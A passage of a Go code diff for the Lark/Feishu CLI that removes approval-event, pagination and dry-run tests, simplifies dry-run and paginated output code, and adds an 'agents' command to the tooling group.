-func TestRiskControlWorkspacePolicyAllowedWithExternalCredentials(t *testing.T) {
-	f := newConfigFactoryWithExternalProvider(t)
-	config := &core.MultiAppConfig{Apps: []core.AppConfig{{
-		AppId: "cli_test", AppSecret: core.PlainSecret("secret"), Brand: core.BrandFeishu,
-	}}}
-	if err := core.SaveMultiAppConfig(config); err != nil {
-		t.Fatal(err)
-	}
-
-	cmd := NewCmdConfig(f)
-	cmd.SetArgs([]string{"risk-control", "off"})
-	if err := cmd.Execute(); err != nil {
-		t.Fatalf("set off with external credentials: %v", err)
-	}
-
-	loaded, err := core.LoadMultiAppConfig()
-	if err != nil {
-		t.Fatal(err)
-	}
-	if loaded.RiskControl == nil || *loaded.RiskControl {
-		t.Fatalf("RiskControl = %v, want explicit false", loaded.RiskControl)
-	}
-}

cmd/event/list_test.go

@@ -17,8 +17,6 @@ import (
 
 func TestEventLookup_VCMeetingLifecycleKeys(t *testing.T) {
 	for _, key := range []string{
-		"approval.instance.status_changed_v4",
-		"approval.task.status_changed_v4",
 		"vc.meeting.participant_meeting_started_v1",
 		"vc.meeting.participant_meeting_joined_v1",
 	} {
@@ -38,8 +36,6 @@ func TestRunList_TextOutput(t *testing.T) {
 	out := stdout.String()
 	for _, want := range []string{
 		"KEY", "AUTH", "PARAMS", "DESCRIPTION",
-		"approval.instance.status_changed_v4",
-		"approval.task.status_changed_v4",
 		"im.message.receive_v1",
 		"im.message.message_read_v1",
 		"task.task.update_user_access_v2",
@@ -94,8 +90,6 @@ func TestRunList_JSONOutput(t *testing.T) {
 		t.Fatal("event list JSON missing task.task.update_user_access_v2")
 	}
 	for _, want := range []string{
-		"approval.instance.status_changed_v4",
-		"approval.task.status_changed_v4",
 		"vc.meeting.participant_meeting_started_v1",
 		"vc.meeting.participant_meeting_joined_v1",
 	} {

cmd/event/schema_test.go

@@ -19,29 +19,6 @@ import (
 	_ "github.com/larksuite/cli/events"
 )
 
-type approvalSchemaJSONPayload struct {
-	JQRootPath           string                           `json:"jq_root_path"`
-	AuthTypes            []string                         `json:"auth_types"`
-	Scopes               []string                         `json:"scopes"`
-	Params               []approvalSchemaJSONParam        `json:"params"`
-	ResolvedOutputSchema approvalSchemaJSONResolvedSchema `json:"resolved_output_schema"`
-}
-
-type approvalSchemaJSONParam struct {
-	Name            string `json:"name"`
-	Type            string `json:"type"`
-	Required        bool   `json:"required"`
-	SubscriptionKey bool   `json:"subscription_key"`
-}
-
-type approvalSchemaJSONResolvedSchema struct {
-	Properties map[string]approvalSchemaJSONProperty `json:"properties"`
-}
-
-type approvalSchemaJSONProperty struct {
-	Format string `json:"format"`
-}
-
 func TestRunSchema_ProcessedKey_Text(t *testing.T) {
 	f, stdout, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "test"})
 
@@ -119,40 +96,6 @@ func TestRunSchema_JSONOutput(t *testing.T) {
 	}
 }
 
-func TestRunSchema_ReceiveMessageAgentFieldsJSON(t *testing.T) {
-	f, stdout, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "test"})
-
-	if err := runSchema(f, "im.message.receive_v1", true); err != nil {
-		t.Fatalf("runSchema json: %v", err)
-	}
-
-	var payload map[string]interface{}
-	if err := json.Unmarshal(stdout.Bytes(), &payload); err != nil {
-		t.Fatalf("output is not valid JSON: %v\n%s", err, stdout.String())
-	}
-	resolved := payload["resolved_output_schema"].(map[string]interface{})
-	props := resolved["properties"].(map[string]interface{})
-	for _, field := range []string{
-		"root_id",
-		"thread_id",
-		"reply_to",
-		"sender_type",
-		"mentions",
-	} {
-		if _, ok := props[field]; !ok {
-			t.Errorf("receive schema missing field %q", field)
-		}
-	}
-	msgDesc := props["message_id"].(map[string]interface{})["description"].(string)
-	if !strings.Contains(msgDesc, "Recommended idempotency key") {
-		t.Errorf("message_id description should guide deduplication, got %q", msgDesc)
-	}
-	eventDesc := props["event_id"].(map[string]interface{})["description"].(string)
-	if strings.Contains(eventDesc, "safe for deduplication") {
-		t.Errorf("event_id description should not recommend deduplication, got %q", eventDesc)
-	}
-}
-
 func TestRunSchema_TaskUpdateUserAccessJSON(t *testing.T) {
 	f, stdout, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "test"})
 
@@ -181,60 +124,6 @@ func TestRunSchema_TaskUpdateUserAccessJSON(t *testing.T) {
 	}
 }
 
-func TestRunSchema_ApprovalStatusChangedJSON(t *testing.T) {
-	tests := []struct {
-		key   string
-		scope string
-	}{
-		{"approval.instance.status_changed_v4", "approval:instance:read"},
-		{"approval.task.status_changed_v4", "approval:task:read"},
-	}
-
-	for _, tc := range tests {
-		t.Run(tc.key, func(t *testing.T) {
-			t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
-			f, stdout, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "test"})
-
-			if err := runSchema(f, tc.key, true); err != nil {
-				t.Fatalf("runSchema json: %v", err)
-			}
-
-			var payload approvalSchemaJSONPayload
-			if err := json.Unmarshal(stdout.Bytes(), &payload); err != nil {
-				t.Fatalf("output is not valid JSON: %v\n%s", err, stdout.String())
-			}
-			if payload.JQRootPath != "." {
-				t.Errorf("jq_root_path = %v, want .", payload.JQRootPath)
-			}
-			if got := payload.AuthTypes; !reflect.DeepEqual(got, []string{"user"}) {
-				t.Errorf("auth_types = %#v, want user", got)
-			}
-			if got := payload.Scopes; !reflect.DeepEqual(got, []string{tc.scope}) {
-				t.Errorf("scopes = %#v, want %s", got, tc.scope)
-			}
-			if len(payload.Params) != 1 {
-				t.Fatalf("params = %#v, want one subscription_type param", payload.Params)
-			}
-			param := payload.Params[0]
-			if param.Name != "subscription_type" || param.Type != "multi" || param.Required || param.SubscriptionKey {
-				t.Fatalf("subscription_type param = %#v, want optional multi non-subscription-key param", param)
-			}
-			props := payload.ResolvedOutputSchema.Properties
-			for _, field := range []string{"type", "event_id", "timestamp", "approval_code", "instance_code", "status", "operate_time"} {
-				if _, ok := props[field]; !ok {
-					t.Errorf("approval schema missing flat field %q: %+v", field, props)
-				}
-			}
-			if _, ok := props["event"]; ok {
-				t.Errorf("approval Custom schema should be flat, got envelope field event: %+v", props)
-			}
-			if got := props["operate_time"].Format; got != "timestamp_ms" {
-				t.Errorf("operate_time format = %v, want timestamp_ms", got)
-			}
-		})
-	}
-}
-
 func TestRunSchema_JSONOutput_VCMeetingLifecycleKeys(t *testing.T) {
 	for _, key := range []string{
 		"vc.meeting.participant_meeting_started_v1",

cmd/root.go

@@ -566,7 +566,7 @@ func groupRootCommands(root *cobra.Command) {
 		&cobra.Group{ID: groupTooling, Title: "Agent tooling:"},
 		&cobra.Group{ID: groupManagement, Title: "CLI management:"},
 	)
-	tooling := map[string]bool{"api": true, "schema": true, "skills": true}
+	tooling := map[string]bool{"api": true, "schema": true, "skills": true, "agents": true}
 	management := map[string]bool{"auth": true, "config": true, "profile": true, "doctor": true, "update": true}
 	for _, c := range root.Commands() {
 		if c.GroupID != "" {

cmd/root_integration_test.go

@@ -371,11 +371,10 @@ func TestIntegration_StrictModeUser_ProfileOverride_ShortcutExplicitBotReturnsEn
 
 func TestIntegration_StrictModeBot_ProfileOverride_ServiceExplicitUserReturnsEnvelope(t *testing.T) {
 	f, stdout, stderr := newStrictModeDefaultFactory(t, "target", core.StrictModeBot)
-	catalog := strictModeFixtureCatalog()
-	rootCmd := buildStrictModeIntegrationRootCmdWithCatalog(t, f, &catalog)
+	rootCmd := buildStrictModeIntegrationRootCmd(t, f)
 
 	code := executeRootIntegration(t, f, rootCmd, []string{
-		"fixture", "things", "create", "--data", `{"name":"probe"}`, "--as", "user", "--dry-run",
+		"im", "chats", "get", "--params", `{"chat_id":"oc_test"}`, "--as", "user", "--dry-run",
 	})
 
 	if code != output.ExitValidation {

cmd/service/service.go

@@ -403,9 +403,9 @@ func serviceMethodRun(opts *ServiceMethodOptions) error {
 
 	if opts.DryRun {
 		if fileMeta != nil {
-			return cmdutil.PrintDryRunWithFile(request, config, serviceDryRunOutputOptions(f, opts), *fileMeta)
+			return cmdutil.PrintDryRunWithFile(f.IOStreams.Out, request, config, opts.Format, fileMeta.FieldName, fileMeta.FilePath, fileMeta.FormFields)
 		}
-		return serviceDryRun(f, request, config, opts)
+		return serviceDryRun(f, request, config, opts.Format)
 	}
 
 	if opts.Method.Risk == cmdutil.RiskHighRiskWrite {
@@ -667,19 +667,8 @@ func buildServiceRequest(opts *ServiceMethodOptions) (client.RawApiRequest, *cmd
 	return request, nil, nil
 }
 
-func serviceDryRun(f *cmdutil.Factory, request client.RawApiRequest, config *core.CliConfig, opts *ServiceMethodOptions) error {
-	return cmdutil.PrintDryRun(request, config, serviceDryRunOutputOptions(f, opts))
-}
-
-func serviceDryRunOutputOptions(f *cmdutil.Factory, opts *ServiceMethodOptions) cmdutil.DryRunOutputOptions {
-	return cmdutil.DryRunOutputOptions{
-		Format:      opts.Format,
-		JqExpr:      opts.JqExpr,
-		CommandPath: opts.Cmd.CommandPath(),
-		Identity:    opts.As,
-		Out:         f.IOStreams.Out,
-		ErrOut:      f.IOStreams.ErrOut,
-	}
+func serviceDryRun(f *cmdutil.Factory, request client.RawApiRequest, config *core.CliConfig, format string) error {
+	return cmdutil.PrintDryRun(f.IOStreams.Out, request, config, format)
 }
 
 func servicePaginate(ctx context.Context, ac *client.APIClient, request client.RawApiRequest, format output.Format, jqExpr string, out, errOut io.Writer, commandPath string, pagOpts client.PaginationOptions, checkErr func(interface{}, core.Identity) error) error {
@@ -707,18 +696,20 @@ func servicePaginate(ctx context.Context, ac *client.APIClient, request client.R
 
 	switch format {
 	case output.FormatNDJSON, output.FormatTable, output.FormatCSV:
-		emitter := output.NewEmitter(output.EmitterConfig{
-			Out:            out,
-			ErrOut:         errOut,
-			CommandPath:    commandPath,
-			Identity:       string(pagOpts.Identity),
-			NoticeProvider: output.GetNotice,
-		})
+		pf := output.NewPaginatedFormatter(out, format)
 		result, hasItems, err := ac.StreamPages(ctx, request, func(items []interface{}) error {
 			// Streaming formats intentionally emit each page after that page has
 			// passed safety scanning. A later page may still fail, so callers
 			// must use the exit code to distinguish complete vs partial output.
-			return emitter.StreamPage(items, output.StreamOptions{Format: format.String()})
+			scanResult := output.ScanForSafety(commandPath, items, errOut)
+			if scanResult.Blocked {
+				return scanResult.BlockErr
+			}
+			if scanResult.Alert != nil {
+				output.WriteAlertWarning(errOut, scanResult.Alert)
+			}
+			pf.FormatPage(items)
+			return nil
 		}, pagOpts)
 		if err != nil {
 			return err

cmd/service/service_paginate_test.go

@@ -1,400 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package service
-
-import (
-	"bytes"
-	"context"
-	"encoding/json"
-	"errors"
-	"fmt"
-	"io"
-	"net/http"
-	"testing"
-
-	"github.com/larksuite/cli/errs"
-	"github.com/larksuite/cli/internal/client"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/core"
-	"github.com/larksuite/cli/internal/httpmock"
-	"github.com/larksuite/cli/internal/output"
-)
-
-type serviceFailOnWriteWriter struct {
-	buf    bytes.Buffer
-	writes int
-	failAt int
-	err    error
-}
-
-func (w *serviceFailOnWriteWriter) Write(p []byte) (int, error) {
-	w.writes++
-	if w.writes == w.failAt {
-		return 0, w.err
-	}
-	return w.buf.Write(p)
-}
-
-func newServicePaginateTestHarness(t *testing.T) (*client.APIClient, *bytes.Buffer, *bytes.Buffer, *httpmock.Registry) {
-	t.Helper()
-	t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
-	t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "off")
-	previousNotice := output.PendingNotice
-	output.PendingNotice = nil
-	t.Cleanup(func() { output.PendingNotice = previousNotice })
-
-	config := &core.CliConfig{
-		AppID:     "test-app",
-		AppSecret: "test-secret",
-		Brand:     core.BrandFeishu,
-	}
-	f, out, errOut, reg := cmdutil.TestFactory(t, config)
-	ac, err := f.NewAPIClientWithConfig(config)
-	if err != nil {
-		t.Fatalf("NewAPIClientWithConfig() error = %v", err)
-	}
-	ac.ErrOut = io.Discard
-	return ac, out, errOut, reg
-}
-
-func servicePaginateRequest() client.RawApiRequest {
-	return client.RawApiRequest{
-		Method: "GET",
-		URL:    "/open-apis/test/v1/items",
-		As:     core.AsBot,
-	}
-}
-
-func assertServicePaginateJSONBytes(t *testing.T, got []byte, want interface{}) {
-	t.Helper()
-	wantBytes, err := json.MarshalIndent(want, "", "  ")
-	if err != nil {
-		t.Fatalf("marshal expected JSON: %v", err)
-	}
-	wantBytes = append(wantBytes, '\n')
-	if !bytes.Equal(got, wantBytes) {
-		t.Fatalf("stdout bytes mismatch\ngot:\n%s\nwant:\n%s", got, wantBytes)
-	}
-}
-
-func TestServicePaginate_DefaultAggregatesAllPages(t *testing.T) {
-	ac, out, errOut, reg := newServicePaginateTestHarness(t)
-	calls := 0
-	wantTokens := []string{"", "next-1", "next-2"}
-	for i, wantToken := range wantTokens {
-		page := i + 1
-		hasMore := page < len(wantTokens)
-		data := map[string]interface{}{
-			"items":    []interface{}{map[string]interface{}{"id": string(rune('0' + page))}},
-			"has_more": hasMore,
-		}
-		if hasMore {
-			data["page_token"] = wantTokens[page]
-		}
-		reg.Register(&httpmock.Stub{
-			URL: "/open-apis/test/v1/items",
-			OnMatch: func(req *http.Request) {
-				calls++
-				if got := req.URL.Query().Get("page_token"); got != wantToken {
-					t.Errorf("request %d page_token = %q, want %q", page, got, wantToken)
-				}
-			},
-			Body: map[string]interface{}{
-				"code": 0,
-				"msg":  "ok",
-				"data": data,
-			},
-		})
-	}
-
-	err := servicePaginate(context.Background(), ac, servicePaginateRequest(),
-		output.FormatJSON, "", out, errOut, "lark-cli test items list", client.PaginationOptions{
-			PageLimit: 10,
-			PageDelay: -1,
-		}, ac.CheckResponse)
-
-	if err != nil {
-		t.Fatalf("servicePaginate() error = %v, want nil", err)
-	}
-	if calls != 3 {
-		t.Fatalf("pagination requests = %d, want 3", calls)
-	}
-	assertServicePaginateJSONBytes(t, out.Bytes(), output.Envelope{
-		OK:       true,
-		Identity: "bot",
-		Data: map[string]interface{}{
-			"items": []interface{}{
-				map[string]interface{}{"id": "1"},
-				map[string]interface{}{"id": "2"},
-				map[string]interface{}{"id": "3"},
-			},
-			"has_more": false,
-		},
-	})
-	if got := errOut.String(); got != "" {
-		t.Fatalf("stderr bytes = %q, want empty", got)
-	}
-}
-
-func TestServicePaginate_StreamingFormatsEmitExactMultiPageBytes(t *testing.T) {
-	tests := []struct {
-		name   string
-		format output.Format
-		want   string
-	}{
-		{
-			name:   "ndjson",
-			format: output.FormatNDJSON,
-			want:   "{\"id\":\"1\",\"name\":\"Alice\"}\n{\"id\":\"2\",\"name\":\"Carol\",\"page_only\":\"ignored\"}\n",
-		},
-		{
-			name:   "table",
-			format: output.FormatTable,
-			want:   "id  name \n──  ─────\n1   Alice\n2   Carol\n",
-		},
-		{
-			name:   "csv",
-			format: output.FormatCSV,
-			want:   "id,name\n1,Alice\n2,Carol\n",
-		},
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			ac, out, errOut, reg := newServicePaginateTestHarness(t)
-			reg.Register(&httpmock.Stub{
-				URL: "/open-apis/test/v1/items",
-				Body: map[string]interface{}{
-					"code": 0,
-					"msg":  "ok",
-					"data": map[string]interface{}{
-						"items": []interface{}{
-							map[string]interface{}{"id": "1", "name": "Alice"},
-						},
-						"has_more":   true,
-						"page_token": "next-1",
-					},
-				},
-			})
-			reg.Register(&httpmock.Stub{
-				URL: "/open-apis/test/v1/items",
-				Body: map[string]interface{}{
-					"code": 0,
-					"msg":  "ok",
-					"data": map[string]interface{}{
-						"items": []interface{}{
-							map[string]interface{}{"id": "2", "name": "Carol", "page_only": "ignored"},
-						},
-						"has_more": false,
-					},
-				},
-			})
-
-			err := servicePaginate(context.Background(), ac, servicePaginateRequest(),
-				tt.format, "", out, errOut, "lark-cli test items list", client.PaginationOptions{
-					PageLimit: 10,
-					PageDelay: -1,
-				}, ac.CheckResponse)
-
-			if err != nil {
-				t.Fatalf("servicePaginate() error = %v, want nil", err)
-			}
-			if got := out.String(); got != tt.want {
-				t.Fatalf("stdout byte mismatch\ngot (%d bytes):\n%q\nwant (%d bytes):\n%q", len(got), got, len(tt.want), tt.want)
-			}
-			if got := errOut.String(); got != "" {
-				t.Fatalf("stderr bytes = %q, want empty", got)
-			}
-		})
-	}
-}
-
-func TestServicePaginate_StreamingWriteFailureStopsFurtherPages(t *testing.T) {
-	ac, _, errOut, reg := newServicePaginateTestHarness(t)
-	sentinel := errors.New("page write failed")
-	out := &serviceFailOnWriteWriter{failAt: 2, err: sentinel}
-	calls := 0
-	for page := 1; page <= 2; page++ {
-		hasMore := true
-		data := map[string]interface{}{
-			"items":    []interface{}{map[string]interface{}{"id": page}},
-			"has_more": hasMore,
-		}
-		if hasMore {
-			data["page_token"] = fmt.Sprintf("next-%d", page)
-		}
-		reg.Register(&httpmock.Stub{
-			URL: "/open-apis/test/v1/items",
-			OnMatch: func(*http.Request) {
-				calls++
-			},
-			Body: map[string]interface{}{
-				"code": 0,
-				"msg":  "ok",
-				"data": data,
-			},
-		})
-	}
-
-	err := servicePaginate(context.Background(), ac, servicePaginateRequest(),
-		output.FormatNDJSON, "", out, errOut, "lark-cli test items list",
-		client.PaginationOptions{PageLimit: 10, PageDelay: -1}, ac.CheckResponse)
-
-	if !errors.Is(err, sentinel) {
-		t.Fatalf("servicePaginate() error = %v, want preserved writer cause", err)
-	}
-	problem, ok := errs.ProblemOf(err)
-	if !ok || problem.Category != errs.CategoryInternal {
-		t.Fatalf("servicePaginate() problem = %#v, %v; want internal typed error", problem, ok)
-	}
-	if calls != 2 {
-		t.Fatalf("pagination requests = %d, want 2", calls)
-	}
-	if got, want := out.buf.String(), "{\"id\":1}\n"; got != want {
-		t.Fatalf("stdout bytes = %q, want %q", got, want)
-	}
-}
-
-func TestServicePaginate_StreamingFormatFallsBackToJSONWithoutList(t *testing.T) {
-	ac, out, errOut, reg := newServicePaginateTestHarness(t)
-	reg.Register(&httpmock.Stub{
-		URL: "/open-apis/test/v1/items",
-		Body: map[string]interface{}{
-			"code": 0,
-			"msg":  "ok",
-			"data": map[string]interface{}{
-				"name":    "Test User",
-				"user_id": "u123",
-			},
-		},
-	})
-
-	err := servicePaginate(context.Background(), ac, servicePaginateRequest(),
-		output.FormatNDJSON, "", out, errOut, "lark-cli test items get",
-		client.PaginationOptions{PageDelay: -1}, ac.CheckResponse)
-
-	if err != nil {
-		t.Fatalf("servicePaginate() error = %v, want nil", err)
-	}
-	assertServicePaginateJSONBytes(t, out.Bytes(), output.Envelope{
-		OK:       true,
-		Identity: "bot",
-		Data: map[string]interface{}{
-			"name":    "Test User",
-			"user_id": "u123",
-		},
-	})
-	wantWarning := "warning: this API does not return a list, format \"ndjson\" is not supported, falling back to json\n"
-	if got := errOut.String(); got != wantWarning {
-		t.Fatalf("stderr bytes = %q, want %q", got, wantWarning)
-	}
-}
-
-func TestServicePaginate_BusinessErrorsWriteRawAndRemainUnmarked(t *testing.T) {
-	businessResponse := map[string]interface{}{
-		"code": 123456,
-		"msg":  "fixture business error",
-		"data": map[string]interface{}{"detail": "business failed"},
-	}
-	tests := []struct {
-		name   string
-		format output.Format
-		jqExpr string
-	}{
-		{name: "jq", format: output.FormatJSON, jqExpr: ".data.items"},
-		{name: "default_json", format: output.FormatJSON},
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			ac, out, errOut, reg := newServicePaginateTestHarness(t)
-			reg.Register(&httpmock.Stub{
-				URL:  "/open-apis/test/v1/items",
-				Body: businessResponse,
-			})
-
-			err := servicePaginate(context.Background(), ac, servicePaginateRequest(),
-				tt.format, tt.jqExpr, out, errOut, "lark-cli test items list",
-				client.PaginationOptions{PageDelay: -1}, ac.CheckResponse)
-
-			if err == nil {
-				t.Fatal("servicePaginate() error = nil, want business error")
-			}
-			if errs.IsRaw(err) {
-				t.Fatalf("errs.IsRaw(error) = true, want current servicePaginate pass-through behavior")
-			}
-			assertServicePaginateJSONBytes(t, out.Bytes(), businessResponse)
-			if bytes.Contains(out.Bytes(), []byte(`"ok": true`)) {
-				t.Fatalf("business-error stdout contains a success envelope:\n%s", out.Bytes())
-			}
-			if got := errOut.String(); got != "" {
-				t.Fatalf("stderr bytes = %q, want empty", got)
-			}
-		})
-	}
-}
-
-func TestServicePaginate_TransportErrorsRemainUnmarked(t *testing.T) {
-	tests := []struct {
-		name   string
-		format output.Format
-		jqExpr string
-	}{
-		{name: "jq_paginate_all", format: output.FormatJSON, jqExpr: ".data.items"},
-		{name: "stream_pages", format: output.FormatNDJSON},
-		{name: "default_paginate_all", format: output.FormatJSON},
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			ac, out, errOut, _ := newServicePaginateTestHarness(t)
-
-			err := servicePaginate(context.Background(), ac, servicePaginateRequest(),
-				tt.format, tt.jqExpr, out, errOut, "lark-cli test items list",
-				client.PaginationOptions{PageDelay: -1}, ac.CheckResponse)
-
-			if err == nil {
-				t.Fatal("servicePaginate() error = nil, want transport error")
-			}
-			if errs.IsRaw(err) {
-				t.Fatalf("errs.IsRaw(error) = true, want current servicePaginate pass-through behavior")
-			}
-			if got := out.String(); got != "" {
-				t.Fatalf("stdout bytes = %q, want empty", got)
-			}
-			if got := errOut.String(); got != "" {
-				t.Fatalf("stderr bytes = %q, want empty", got)
-			}
-		})
-	}
-}
-
-func TestServicePaginate_StreamBusinessErrorRemainsUnmarked(t *testing.T) {
-	ac, out, errOut, reg := newServicePaginateTestHarness(t)
-	reg.Register(&httpmock.Stub{
-		URL: "/open-apis/test/v1/items",
-		Body: map[string]interface{}{
-			"code": 123456,
-			"msg":  "fixture business error",
-			"data": map[string]interface{}{},
-		},
-	})
-
-	err := servicePaginate(context.Background(), ac, servicePaginateRequest(),
-		output.FormatNDJSON, "", out, errOut, "lark-cli test items list",
-		client.PaginationOptions{PageDelay: -1}, ac.CheckResponse)
-
-	if err == nil {
-		t.Fatal("servicePaginate() error = nil, want business error")
-	}
-	if errs.IsRaw(err) {
-		t.Fatalf("errs.IsRaw(error) = true, want current servicePaginate pass-through behavior")
-	}
-	if got := out.String(); got != "" {
-		t.Fatalf("stdout bytes = %q, want empty", got)
-	}
-	if got := errOut.String(); got != "" {
-		t.Fatalf("stderr bytes = %q, want empty", got)
-	}
-}

cmd/service/service_test.go

@@ -224,39 +224,13 @@ func TestServiceMethod_DryRun_PathParam(t *testing.T) {
 			if err := cmd.Execute(); err != nil {
 				t.Fatalf("unexpected error: %v", err)
 			}
-			var got map[string]interface{}
-			if err := json.Unmarshal(stdout.Bytes(), &got); err != nil {
-				t.Fatalf("dry-run stdout is not JSON: %v\n%s", err, stdout.String())
-			}
-			if got["ok"] != true || got["dry_run"] != true {
-				t.Fatalf("unexpected dry-run envelope: %#v", got)
-			}
-			data := got["data"].(map[string]interface{})
-			api := data["api"].([]interface{})
-			call := api[0].(map[string]interface{})
-			if call["url"] != tt.wantInURL {
-				t.Errorf("url = %q, want %q\nstdout:\n%s", call["url"], tt.wantInURL, stdout.String())
+			if !strings.Contains(stdout.String(), tt.wantInURL) {
+				t.Errorf("expected URL containing %q, got:\n%s", tt.wantInURL, stdout.String())
 			}
 		})
 	}
 }
 
-func TestServiceMethod_DryRunWithJq(t *testing.T) {
-	f, stdout, _, _ := cmdutil.TestFactory(t, testConfig)
-	cmd := NewCmdServiceMethod(f, driveSpec(), driveMethod("GET", nil), "get", "files", nil)
-	cmd.SetArgs([]string{
-		"--params", `{"file_token":"boxcn123abc"}`,
-		"--dry-run",
-		"--jq", ".data.api[0].url",
-	})
-	if err := cmd.Execute(); err != nil {
-		t.Fatalf("unexpected error: %v", err)
-	}
-	if got, want := strings.TrimSpace(stdout.String()), "/open-apis/drive/v1/files/boxcn123abc/copy"; got != want {
-		t.Fatalf("jq output = %q, want %q", got, want)
-	}
-}
-
 func TestServiceMethod_PathParamRejectsTraversal(t *testing.T) {
 	tests := []struct {
 		name      string
@@ -344,12 +318,8 @@ func TestServiceMethod_PaginationParamSkippedWithPageAll(t *testing.T) {
 	if err != nil {
 		t.Fatalf("expected no error with --page-all skipping page_size, got: %v", err)
 	}
-	var got map[string]interface{}
-	if err := json.Unmarshal(stdout.Bytes(), &got); err != nil {
-		t.Fatalf("dry-run stdout is not JSON: %v\n%s", err, stdout.String())
-	}
-	if got["dry_run"] != true {
-		t.Fatalf("dry_run = %#v, want true", got["dry_run"])
+	if !strings.Contains(stdout.String(), "Dry Run") {
+		t.Error("expected dry-run output")
 	}
 }
 
@@ -1111,23 +1081,11 @@ func TestServiceMethod_FileUpload_DryRun(t *testing.T) {
 		t.Fatalf("unexpected error: %v", err)
 	}
 	out := stdout.String()
-	var env map[string]interface{}
-	if err := json.Unmarshal(stdout.Bytes(), &env); err != nil {
-		t.Fatalf("dry-run stdout is not JSON: %v\n%s", err, out)
+	if !strings.Contains(out, "image") {
+		t.Errorf("expected dry-run output to mention file field, got: %s", out)
 	}
-	if env["dry_run"] != true {
-		t.Fatalf("dry_run = %#v, want true", env["dry_run"])
-	}
-	data := env["data"].(map[string]interface{})
-	api := data["api"].([]interface{})
-	call := api[0].(map[string]interface{})
-	body := call["body"].(map[string]interface{})
-	file := body["file"].(map[string]interface{})
-	if file["field"] != "image" || file["path"] != tmpFile {
-		t.Fatalf("unexpected file dry-run body: %#v", body)
-	}
-	if strings.Contains(out, "=== Dry Run ===") {
-		t.Fatalf("stdout should not contain dry-run banner: %s", out)
+	if !strings.Contains(out, "Dry Run") {
+		t.Errorf("expected dry-run header, got: %s", out)
 	}
 }
 

cmd/service/testmain_test.go

@@ -1,39 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package service
-
-import (
-	"os"
-	"testing"
-
-	"github.com/larksuite/cli/internal/registry/registrytest"
-)
-
-// TestMain isolates service command tests from the host machine: config (and
-// the registry cache under it) is redirected to a temp dir, then the registry
-// is seeded from the tracked fixture and initialized eagerly. Tests pass on a
-// clean checkout with no network, no `make fetch_meta`, and no user cache.
-//
-// Note: os.Exit skips deferred functions, so cleanup runs explicitly after
-// m.Run before exiting.
-func TestMain(m *testing.M) {
-	root, err := os.MkdirTemp("", "lark-cli-cmd-service-test-*")
-	if err != nil {
-		println("cmd/service test setup: MkdirTemp failed:", err.Error())
-		os.Exit(2)
-	}
-	if err := os.Setenv("LARKSUITE_CLI_CONFIG_DIR", root); err != nil {
-		println("cmd/service test setup: Setenv failed:", err.Error())
-		os.RemoveAll(root)
-		os.Exit(2)
-	}
-	if err := registrytest.Seed(root); err != nil {
-		println("cmd/service test setup: registrytest.Seed failed:", err.Error())
-		os.RemoveAll(root)
-		os.Exit(2)
-	}
-	code := m.Run()
-	os.RemoveAll(root)
-	os.Exit(code)
-}

cmd/startup_brand_test.go

@@ -5,7 +5,6 @@ package cmd
 
 import (
 	"context"
-	"flag"
 	"fmt"
 	"os"
 	"os/exec"
@@ -13,34 +12,11 @@ import (
 	"strings"
 	"testing"
 
-	"github.com/google/uuid"
 	"github.com/larksuite/cli/internal/cmdutil"
 	"github.com/larksuite/cli/internal/core"
 	"github.com/larksuite/cli/internal/registry"
 )
 
-const startupBrandHelperEnv = "GO_TEST_STARTUP_BRAND_HELPER"
-
-var _ = flag.String("startup-brand-helper", "", "internal startup brand test helper nonce")
-
-func isStartupBrandHelper() bool {
-	return startupBrandHelperEnabled(os.Getenv(startupBrandHelperEnv), startupBrandHelperNonce(os.Args))
-}
-
-func startupBrandHelperEnabled(envNonce, argNonce string) bool {
-	return envNonce != "" && envNonce == argNonce
-}
-
-func startupBrandHelperNonce(args []string) string {
-	const prefix = "-startup-brand-helper="
-	for _, arg := range args {
-		if strings.HasPrefix(arg, prefix) {
-			return strings.TrimPrefix(arg, prefix)
-		}
-	}
-	return ""
-}
-
 func TestResolveStartupBrand_Precedence(t *testing.T) {
 	tmp := t.TempDir()
 	t.Setenv("LARKSUITE_CLI_CONFIG_DIR", tmp)
@@ -78,7 +54,7 @@ func TestResolveStartupBrand_Precedence(t *testing.T) {
 // sync.Once, so the brand must be injected before the first catalog access.
 // It runs in a subprocess because the registry is process-global.
 func TestStartupBrandReachesRegistry_RealStartupOrder(t *testing.T) {
-	if isStartupBrandHelper() {
+	if os.Getenv("GO_TEST_STARTUP_BRAND_HELPER") == "1" {
 		// Helper: replicate Execute()'s build wiring with a lark config.
 		buildInternal(
 			context.Background(), cmdutil.InvocationContext{},
@@ -95,11 +71,9 @@ func TestStartupBrandReachesRegistry_RealStartupOrder(t *testing.T) {
 		t.Fatal(err)
 	}
 
-	nonce := uuid.NewString()
-	t.Setenv(startupBrandHelperEnv, nonce)
 	cmd := exec.Command(os.Args[0], "-test.run", "TestStartupBrandReachesRegistry_RealStartupOrder")
-	cmd.Args = append(cmd.Args, "-startup-brand-helper="+nonce)
 	cmd.Env = append(os.Environ(),
+		"GO_TEST_STARTUP_BRAND_HELPER=1",
 		"LARKSUITE_CLI_CONFIG_DIR="+tmp,
 		"LARKSUITE_CLI_REMOTE_META=off", // no network during the subprocess build
 	)
@@ -111,33 +85,3 @@ func TestStartupBrandReachesRegistry_RealStartupOrder(t *testing.T) {
 		t.Errorf("registry brand after real startup order = %s, want lark", out)
 	}
 }
-
-func TestStartupBrandHelperRequiresMatchingCommandNonce(t *testing.T) {
-	for _, tt := range []struct {
-		name     string
-		envNonce string
-		argNonce string
-		want     bool
-	}{
-		{name: "neither set"},
-		{name: "ambient environment only", envNonce: "ambient"},
-		{name: "command argument only", argNonce: "command"},
